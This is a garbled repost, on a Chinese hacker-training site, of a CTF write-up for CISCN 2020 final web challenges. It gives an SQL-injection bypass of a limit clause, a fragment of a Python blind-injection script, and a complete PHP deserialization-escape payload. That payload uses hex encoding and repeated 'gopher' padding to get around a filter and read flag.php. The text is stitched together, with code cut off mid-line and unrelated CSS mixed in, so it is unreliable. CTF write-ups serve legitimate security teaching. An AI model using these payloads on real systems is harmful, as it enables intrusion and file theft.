当前位置:网站首页 > 黑客培训 > 正文

对ciscn final的web的小解析

freebuffreebuf 2020-10-27 237 0

本文来源:蚁景科技
本文首发于“合天智汇”公众号 作者:HhhMweb1输入1点击输入框后会显示如下参数:
?id=1!--  $query = "SELECT * FROM fake_flag WHERE id = $id limit 0,$limit"; //$query = "SELECT flag FROM real_flag WHERE id = $id limit 0,$limit"; -->会发现左右过滤不相同,尝试如下可以把limit语句注释掉:
id=1/*padding:3px 4px;background-color:#f6f6f6">from(1)for(1)的形式来绕过。盲注脚本:
# conding=utf-8# ciscn2020 web1 blindimportrequests  req =requests.session()url ="http://ip:port/?id={0}returnpreg_replace($waf,'index',$string);}至于从哪里进行序列化串的传入,看到:先说我们传入的虽然是一个数组, 但因为waf处如果我们传入一个flag,就会被替换为index,此时长度差为1。在这里会把我们的序列化串waf后再反序列化,我们利用它可以逃逸出来一个user对象。waf的话可以使用s替换为S以此使用16进制来表示flag.php来绕过,这一个过滤限制了我们只能使用old_password字段,否则的话可以采用gopher替换为index来吃掉部分序列化串。需要伪造的序列化串为这么一串东西,长度为196,所以这里需要196个flag替换为index:本地模拟一下过waf会发现这里长度980其实就是index的长度总和:那么余下的序列化串理所当然就逃逸出去了。
update_username=1s:1:"1";O:4:"User":6:{S:8:"username";s:1:"1";S:8:"password";s:1:"1";s:3:"age";s:1:"1";s:5:"email";s:1:"1";S:12:"\00User\00avatar";S:8:"\66\6C\61\67\2E\70\68\70";S:13:"\00User\00content";s:0:"";}s:5:"email";'.'O:4:"User":6:{S:8:"username";s:1:"1";S:8:"password";s:1:"1";s:3:"age";s:1:"1";s:5:"email";s:1:"1";S:12:"\00User\00avatar";S:8:"\66\6C\61\67\2E\70\68\70";S:13:"\00User\00content";s:0:"";}&update_age=gophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergophergopher            

转载请注明来自网盾网络安全培训,本文标题:《对ciscn final的web的小解析》

标签:web安全

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表